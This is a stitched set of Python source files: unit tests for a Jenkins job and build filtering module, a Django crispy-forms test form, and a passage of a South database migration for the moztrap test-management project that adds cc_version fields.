'test_17.3_ipv4_job_2comp_1cont' job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, "17.3") self.assertEqual(deployment.ip_version.value, "4") self.assertEqual(deployment.topology.value, topology_value) def test_get_deployment_filter_computes(self): """Test that get_deployment filters by computes.""" job_names = ['test_17.3_ipv4_job_2comp_1cont', 'test_16_ipv6_job_1comp_2cont', 'test_job'] topology_value = "compute:2,controller:1" response = {'jobs': [{'_class': 'folder'}]} for job_name in job_names: response['jobs'].append({'_class': 'org.job.WorkflowJob', 'name': job_name, 'url': 'url', 'lastBuild': None}) self.jenkins.send_request = Mock(side_effect=[response]) arg = Argument("compute", arg_type=str, description="", value=["2"], ranged=True) jobs = self.jenkins.get_deployment(computes=arg) self.assertEqual(len(jobs), 1) job_name = 'test_17.3_ipv4_job_2comp_1cont' job = jobs[job_name] deployment = job.deployment.value self.assertEqual(job.name.value, job_name) self.assertEqual(job.url.value, "url") self.assertEqual(len(job.builds.value), 0) self.assertEqual(deployment.release.value, "17.3") self.assertEqual(deployment.ip_version.value, "4") self.assertEqual(deployment.topology.value, topology_value) class TestFilters(TestCase): """Tests for filter functions in jenkins source module.""" def test_filter_jobs(self): """ Test that filter_jobs filters the jobs given the user input. """ response = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}, {'_class': 'org..job.WorkflowRun', 'name': "test_jobs", 'url': 'url2', 'lastBuild': {'number': 2, 'result': "FAILURE"}}, {'_class': 'org..job.WorkflowRun', 'name': "ans2", 'url': 'url3', 'lastBuild': {'number': 0, 'result': "FAILURE"}}] args = Mock() args.value = ["ans"] jobs_filtered = filter_jobs(response, jobs=args) expected = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}, {'_class': 'org..job.WorkflowRun', 'name': "ans2", 'url': 'url3', 'lastBuild': {'number': 0, 'result': "FAILURE"}}, ] self.assertEqual(jobs_filtered, expected) def test_filter_jobs_class(self): """ Test that filter_jobs filters the jobs given the job _class. """ response = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}, {'_class': 'jenkins.branch.OrganizationFolder', 'name': "test_jobs", 'url': 'url2', 'lastBuild': {'number': 2, 'result': "FAILURE"}}, {'_class': 'com.cloudbees.hudson.plugins.folder.Folder', 'name': "test_jobs", 'url': 'url2', 'lastBuild': {'number': 2, 'result': "FAILURE"}}, {'_class': 'hudson.model.FreeStyleProject', 'name': "ans2", 'url': 'url3', 'lastBuild': {'number': 0, 'result': "FAILURE"}}] jobs_filtered = filter_jobs(response) expected = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}, {'_class': 'hudson.model.FreeStyleProject', 'name': "ans2", 'url': 'url3', 'lastBuild': {'number': 0, 'result': "FAILURE"}}, ] self.assertEqual(jobs_filtered, expected) def test_filter_job_name_job_url(self): """ Test that filter_jobs filters the jobs given the user input. """ response = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}, {'_class': 'org..job.WorkflowRun', 'name': "test_jobs", 'url': 'url2', 'lastBuild': {'number': 2, 'result': "FAILURE"}}, {'_class': 'org..job.WorkflowRun', 'name': "ans2", 'url': 'url3', 'lastBuild': {'number': 0, 'result': "FAILURE"}}] job_name = Mock() job_name.value = ["ans2"] job_url = Mock() job_url.value = ["url3"] jobs_filtered = filter_jobs(response, job_name=job_name, job_url=job_url) expected = [{'_class': 'org..job.WorkflowRun', 'name': "ans2", 'url': 'url3', 'lastBuild': {'number': 0, 'result': "FAILURE"}}] self.assertEqual(jobs_filtered, expected) def test_filter_job_name(self): """ Test that filter_jobs filters the jobs given the user input. """ response = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}, {'_class': 'org..job.WorkflowRun', 'name': "test_jobs", 'url': 'url2', 'lastBuild': {'number': 2, 'result': "FAILURE"}}, {'_class': 'org..job.WorkflowRun', 'name': "ans2", 'url': 'url3', 'lastBuild': {'number': 0, 'result': "FAILURE"}}] job_name = Mock() job_name.value = ["ansible"] jobs_filtered = filter_jobs(response, job_name=job_name) expected = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}] self.assertEqual(jobs_filtered, expected) def test_filter_job_url(self): """ Test that filter_jobs filters the jobs given the user input. """ response = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}, {'_class': 'org..job.WorkflowRun', 'name': "test_jobs", 'url': 'url2', 'lastBuild': {'number': 2, 'result': "FAILURE"}}, {'_class': 'org..job.WorkflowRun', 'name': "ans2", 'url': 'url3', 'lastBuild': {'number': 0, 'result': "FAILURE"}} ] job_url = Mock() job_url.value = ["url2"] jobs_filtered = filter_jobs(response, job_url=job_url) expected = [{'_class': 'org..job.WorkflowRun', 'name': "test_jobs", 'url': 'url2', 'lastBuild': {'number': 2, 'result': "FAILURE"}}] self.assertEqual(jobs_filtered, expected) def test_filter_job_name_job_url_jobs(self): """ Test that filter_jobs filters the jobs given the user input. """ response = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}, {'_class': 'org..job.WorkflowRun', 'name': "test_jobs", 'url': 'url2', 'lastBuild': {'number': 2, 'result': "FAILURE"}}, {'_class': 'org..job.WorkflowRun', 'name': "ans2", 'url': 'url3', 'lastBuild': {'number': 0, 'result': "FAILURE"}}] args = Mock() args.value = ["ans"] job_name = Mock() job_name.value = ["ansible"] job_url = Mock() job_url.value = ["url1"] jobs_filtered = filter_jobs(response, jobs=args, job_url=job_url, job_name=job_name) expected = [{'_class': 'org..job.WorkflowRun', 'name': "ansible", 'url': 'url1', 'lastBuild': {'number': 1, 'result': "SUCCESS"}}] self.assertEqual(jobs_filtered, expected) def test_filter_builds_builds_build_id_build_status_empty(self): """Test that filter builds filters the builds given the user input.""" response = [{'_class': 'org..job.WorkflowRun', 'number': 3, 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': 4, 'result': 'FAILURE'}, {'_class': 'org..job.WorkflowRun', 'number': 5, 'result': 'success'}] builds = Mock() builds.value = [] build_id = Mock() build_id.value = ["3"] build_status = Mock() build_status.value = ["failure"] builds_filtered = filter_builds(response, builds=builds, build_status=build_status, build_id=build_id) expected = [] self.assertEqual(builds_filtered, expected) def test_filter_builds_builds_build_id_build_status(self): """Test that filter builds filters the builds given the user input.""" response = [{'_class': 'org..job.WorkflowRun', 'number': 3, 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': 4, 'result': 'FAILURE'}, {'_class': 'org..job.WorkflowRun', 'number': 5, 'result': 'success'}] builds = Mock() builds.value = [] build_id = Mock() build_id.value = ["3"] build_status = Mock() build_status.value = ["success"] builds_filtered = filter_builds(response, builds=builds, build_status=build_status, build_id=build_id) expected = [{'_class': 'org..job.WorkflowRun', 'number': "3", 'result': 'SUCCESS'}] self.assertEqual(builds_filtered, expected) def test_filter_builds_builds_build_id(self): """Test that filter builds filters the builds given the user input.""" response = [{'_class': 'org..job.WorkflowRun', 'number': 3, 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': 3, 'result': 'FAILURE'}, {'_class': 'org..job.WorkflowRun', 'number': 5, 'result': 'success'}] builds = Mock() builds.value = [] build_id = Mock() build_id.value = ["3"] builds_filtered = filter_builds(response, builds=builds, build_id=build_id) expected = [{'_class': 'org..job.WorkflowRun', 'number': "3", 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': "3", 'result': 'FAILURE'}] self.assertEqual(builds_filtered, expected) def test_filter_builds_builds_build_status(self): """Test that filter builds filters the builds given the user input.""" response = [{'_class': 'org..job.WorkflowRun', 'number': 3, 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': 4, 'result': 'FAILURE'}, {'_class': 'org..job.WorkflowRun', 'number': 5, 'result': 'success'}] builds = Mock() builds.value = [] build_status = Mock() build_status.value = ["success"] builds_filtered = filter_builds(response, builds=builds, build_status=build_status) expected = [{'_class': 'org..job.WorkflowRun', 'number': "3", 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': "5", 'result': 'success'}] self.assertEqual(builds_filtered, expected) def test_filter_builds_build_id_build_status(self): """Test that filter builds filters the builds given the user input.""" response = [{'_class': 'org..job.WorkflowRun', 'number': 3, 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': 4, 'result': 'FAILURE'}, {'_class': 'org..job.WorkflowRun', 'number': 5, 'result': 'success'}] build_id = Mock() build_id.value = ["3"] build_status = Mock() build_status.value = ["success"] builds_filtered = filter_builds(response, build_status=build_status, build_id=build_id) expected = [{'_class': 'org..job.WorkflowRun', 'number': "3", 'result': 'SUCCESS'}] self.assertEqual(builds_filtered, expected) def test_filter_builds_builds(self): """Test that filter builds filters the builds given the user input.""" response = [{'_class': 'org..job.WorkflowRun', 'number': 3, 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': 4, 'result': 'FAILURE'}, {'_class': 'org..job.WorkflowRun', 'number': 5, 'result': 'success'}] builds = Mock() builds.value = ["3", "5"] builds_filtered = filter_builds(response, builds=builds) expected = [{'_class': 'org..job.WorkflowRun', 'number': "3", 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': "5", 'result': 'success'}] self.assertEqual(builds_filtered, expected) def test_filter_builds_build_status(self): """Test that filter builds filters the builds given the user input.""" response = [{'_class': 'org..job.WorkflowRun', 'number': 3, 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': 4, 'result': 'FAILURE'}, {'_class': 'org..job.WorkflowRun', 'number': 5, 'result': 'success'}] build_status = Mock() build_status.value = ["success"] builds_filtered = filter_builds(response, build_status=build_status) expected = [{'_class': 'org..job.WorkflowRun', 'number': "3", 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': "5", 'result': 'success'}] self.assertEqual(builds_filtered, expected) def test_filter_builds_build_id(self): """Test that filter builds filters the builds given the user input.""" response = [{'_class': 'org..job.WorkflowRun', 'number': 3, 'result': 'SUCCESS'}, {'_class': 'org..job.WorkflowRun', 'number': 4, 'result': 'FAILURE'}, {'_class': 'org..job.WorkflowRun', 'number': 5, 'result': 'success'}] build_id = Mock() build_id.value = ["3"] builds_filtered = filter_builds(response, build_id=build_id) expected = [{'_class': 'org..job.WorkflowRun', 'number': "3", 'result': 'SUCCESS'}] self.assertEqual(builds_filtered, expected)

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7

0c9cac50847ace64bc14e28ae66c6764ba36ef41

1,182

py

Python

django-modal-forms/test_app/forms.py

lyosonernes/Django

d13bd504419b0d2630885c979f9f8413371b80e8

[ "MIT" ]

null

django-modal-forms/test_app/forms.py

lyosonernes/Django

d13bd504419b0d2630885c979f9f8413371b80e8

[ "MIT" ]

null

django-modal-forms/test_app/forms.py

lyosonernes/Django

d13bd504419b0d2630885c979f9f8413371b80e8

[ "MIT" ]

null

from django import forms from crispy_forms.helper import FormHelper from crispy_forms.layout import Layout class TestForm(forms.Form): name = forms.CharField(required=True) email = forms.EmailField(required=False) url = forms.URLField(required=False) comment = forms.CharField(required=True, widget=forms.Textarea) @property def helper(self): helper = FormHelper() helper.form_tag = False # don't render form DOM element helper.render_unmentioned_fields = True # render all fields helper.label_class = 'col-md-2' helper.field_class = 'col-md-10' return helper class TestForm2(forms.Form): name = forms.CharField(required=True, initial='test') email = forms.EmailField(required=False) url = forms.URLField(required=False) comment = forms.CharField(required=True, widget=forms.Textarea) @property def helper(self): helper = FormHelper() helper.form_tag = False # don't render form DOM element helper.render_unmentioned_fields = True # render all fields helper.label_class = 'col-md-2' helper.field_class = 'col-md-10' return helper

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null

0

1

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null

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7

0cca15ac2f4228750bf88045ffbca3c5e4114ff7

34,241

py

Python

moztrap/model/execution/migrations/0002_auto__add_field_runcaseversion_cc_version__add_field_run_cc_version__a.py

yifanjiang/moztrap

2130c7101b7596b19a2697ab5f1c745e93e7c95b

[ "BSD-2-Clause" ]

1

2015-02-10T15:09:42.000Z

moztrap/model/execution/migrations/0002_auto__add_field_runcaseversion_cc_version__add_field_run_cc_version__a.py

yifanjiang/moztrap

2130c7101b7596b19a2697ab5f1c745e93e7c95b

[ "BSD-2-Clause" ]

null

moztrap/model/execution/migrations/0002_auto__add_field_runcaseversion_cc_version__add_field_run_cc_version__a.py

yifanjiang/moztrap

2130c7101b7596b19a2697ab5f1c745e93e7c95b

[ "BSD-2-Clause" ]

null

# encoding: utf-8 import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding field 'RunCaseVersion.cc_version' db.add_column('execution_runcaseversion', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False) # Adding field 'Run.cc_version' db.add_column('execution_run', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False) # Adding field 'Result.cc_version' db.add_column('execution_result', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False) # Adding field 'StepResult.cc_version' db.add_column('execution_stepresult', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False) # Adding field 'RunSuite.cc_version' db.add_column('execution_runsuite', 'cc_version', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False) def backwards(self, orm): # Deleting field 'RunCaseVersion.cc_version' db.delete_column('execution_runcaseversion', 'cc_version') # Deleting field 'Run.cc_version' db.delete_column('execution_run', 'cc_version') # Deleting field 'Result.cc_version' db.delete_column('execution_result', 'cc_version') # Deleting field 'StepResult.cc_version' db.delete_column('execution_stepresult', 'cc_version') # Deleting field 'RunSuite.cc_version' db.delete_column('execution_runsuite', 'cc_version') models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'core.product': { 'Meta': {'ordering': "['name']", 'object_name': 'Product'}, 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 496365)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'has_team': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 496575)'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'own_team': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.User']", 'symmetrical': 'False', 'blank': 'True'}) }, 'core.productversion': { 'Meta': {'ordering': "['product', 'order']", 'object_name': 'ProductVersion'}, 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 485617)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'environments': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'productversion'", 'symmetrical': 'False', 'to': "orm['environments.Environment']"}), 'has_team': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'latest': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 485816)'}), 'order': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'own_team': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.User']", 'symmetrical': 'False', 'blank': 'True'}), 'product': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'versions'", 'to': "orm['core.Product']"}), 'version': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'core.user': { 'Meta': {'object_name': 'User', 'db_table': "'auth_user'", '_ormbases': ['auth.User'], 'proxy': 'True'} }, 'environments.category': { 'Meta': {'ordering': "['name']", 'object_name': 'Category'}, 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 491988)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 492195)'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}) }, 'environments.element': { 'Meta': {'ordering': "['name']", 'object_name': 'Element'}, 'category': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'elements'", 'to': "orm['environments.Category']"}), 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 475116)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 475325)'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}) }, 'environments.environment': { 'Meta': {'object_name': 'Environment'}, 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 490959)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'elements': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'environments'", 'symmetrical': 'False', 'to': "orm['environments.Element']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 491167)'}), 'profile': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'environments'", 'null': 'True', 'to': "orm['environments.Profile']"}) }, 'environments.profile': { 'Meta': {'object_name': 'Profile'}, 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 488330)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 488519)'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}) }, 'execution.result': { 'Meta': {'object_name': 'Result'}, 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'comment': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'completed': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 489193)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'environment': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'results'", 'to': "orm['environments.Environment']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 489387)'}), 'review': ('django.db.models.fields.CharField', [], {'default': "'pending'", 'max_length': '50', 'db_index': 'True'}), 'reviewed_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'reviews'", 'null': 'True', 'to': "orm['auth.User']"}), 'reviewed_on': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'runcaseversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'results'", 'to': "orm['execution.RunCaseVersion']"}), 'started': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 490234)'}), 'status': ('django.db.models.fields.CharField', [], {'default': "'assigned'", 'max_length': '50', 'db_index': 'True'}), 'tester': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'results'", 'to': "orm['auth.User']"}) }, 'execution.run': { 'Meta': {'object_name': 'Run'}, 'caseversions': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'runs'", 'symmetrical': 'False', 'through': "orm['execution.RunCaseVersion']", 'to': "orm['library.CaseVersion']"}), 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 481521)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'end': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'environments': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'run'", 'symmetrical': 'False', 'to': "orm['environments.Environment']"}), 'has_team': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 481717)'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'own_team': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.User']", 'symmetrical': 'False', 'blank': 'True'}), 'productversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runs'", 'to': "orm['core.ProductVersion']"}), 'start': ('django.db.models.fields.DateField', [], {'default': 'datetime.date.today'}), 'status': ('django.db.models.fields.CharField', [], {'default': "'draft'", 'max_length': '30', 'db_index': 'True'}), 'suites': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'runs'", 'symmetrical': 'False', 'through': "orm['execution.RunSuite']", 'to': "orm['library.Suite']"}) }, 'execution.runcaseversion': { 'Meta': {'ordering': "['order']", 'object_name': 'RunCaseVersion'}, 'caseversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runcaseversions'", 'to': "orm['library.CaseVersion']"}), 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 472837)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'environments': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': 